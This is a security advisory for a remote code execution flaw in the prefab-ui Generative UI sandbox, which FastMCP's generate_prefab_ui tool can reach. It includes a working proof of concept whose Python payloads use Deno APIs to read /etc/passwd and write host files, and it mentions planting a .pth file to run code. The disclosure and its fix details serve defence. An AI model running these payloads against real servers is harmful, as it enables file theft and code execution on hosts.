Summary #
Prefab UI is vulnerable to Remote Code Execution via a Pyodide js Bridge to Deno
Component #
prefab-ui (github.com/PrefectHQ/prefab)
Affected versions #
= 0.14.0, < 0.21.0
Description #
Prefab UI's Generative UI sandbox runs caller-supplied Python inside Pyodide, which is Python compiled to WebAssembly, in a Deno subprocess. The feature is documented as isolation for untrusted code, including UI written by a model. PyodideSandbox._start in src/prefab_ui/sandbox/_pyodide.py starts that process with unrestricted --allow-read, --allow-write, and --allow-net. The runner in src/prefab_ui/sandbox/runner.js leaves the Deno API on the JavaScript global object. Pyodide's js module proxies that global, so the Python can call Deno.readTextFileSync and Deno.writeTextFileSync on the host. The runner comment and the public docs describe this process as read-only.
The usual remote path is FastMCP's GenerativeUI provider. It registers the MCP tool generate_prefab_ui and forwards the tool's code argument into this sandbox. There is no extra check on that tool. On a FastMCP server with no authentication configured, any client who can reach the server can call it. With authentication, any client allowed to call tools can. The 10.0 score is the unauthenticated case. The same bug with an authenticated tool caller scores 9.9 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H). Generative UI is opt-in, and the host must have Deno installed. Servers that never execute untrusted code in this sandbox are not exposed.
A caller who can submit the code can read and write files as the server OS user. On prefab-ui 0.20.2 the same write was used to plant a .pth file in the server virtualenv's site-packages, and the next Python process that used that environment ran the planted import. The sandbox shipped in 0.14.0 with those Deno permissions, and they were still present in 0.20.2. prefab-ui 0.21.0 revokes read, write, and network permission after startup, before it accepts code.
PoC #
Step 1 - Install the vulnerable release
Deno must be on PATH. The sandbox does not start without it.
pip install 'prefab-ui==0.20.2' 'fastmcp[apps]'
Step 2 - Start a FastMCP server with Generative UI and no authentication
from fastmcp import FastMCP
from fastmcp.apps.generative import GenerativeUI
mcp = FastMCP("poc")
mcp.add_provider(GenerativeUI())
mcp.run(transport="http", host="127.0.0.1", port=8127)
Step 3 - Call generate_prefab_ui
The read returns the host file inside the rendered text. The write creates /tmp/prefab-ui-sandbox-proof.txt.
import asyncio
from fastmcp import Client
READ = """
import js
from prefab_ui.components import Text
secret = js.Deno.readTextFileSync("/etc/passwd")
leak = Text("EXFIL_BEGIN" + secret + "EXFIL_END")
"""
WRITE = """
import js
from prefab_ui.components import Text
js.Deno.writeTextFileSync("/tmp/prefab-ui-sandbox-proof.txt", "owned\\n")
done = Text("write-ok")
"""
async def main():
async with Client("http://127.0.0.1:8127/mcp/") as client:
print(await client.call_tool("generate_prefab_ui", {"code": READ}))
await client.call_tool("generate_prefab_ui", {"code": WRITE})
asyncio.run(main())
Step 4 - Confirm the host file
cat /tmp/prefab-ui-sandbox-proof.txt
Expected output on prefab-ui 0.20.2. The tool result contains the host passwd file between the markers, and the new file is on the host:
EXFIL_BEGIN
...
root:*:0:0:System Administrator:...
EXFIL_END
owned
On prefab-ui 0.21.0 or later, the same read and write fail with a Deno permission error and do not return or create the host file.
Vulnerability Mitigations #
Upgrade prefab-ui to 0.21.0 or later. After the runtime and Prefab sources load, the runner revokes Deno filesystem read, filesystem write, and network permission before it accepts generated code. The process is started with --no-prompt, so a later permission request cannot grant them again, and bootstrap network access is limited to cdn.jsdelivr.net:443. FastMCP servers that register GenerativeUI pick up the fix by running that prefab-ui release.
The change is https://github.com/PrefectHQ/prefab/pull/538, commit 030f074f85e0b1be0dd44b0283185aecb26337a2, released on 2026-10-26 as v0.21.0.
Until the upgrade, do not register GenerativeUI on a server that untrusted clients can reach.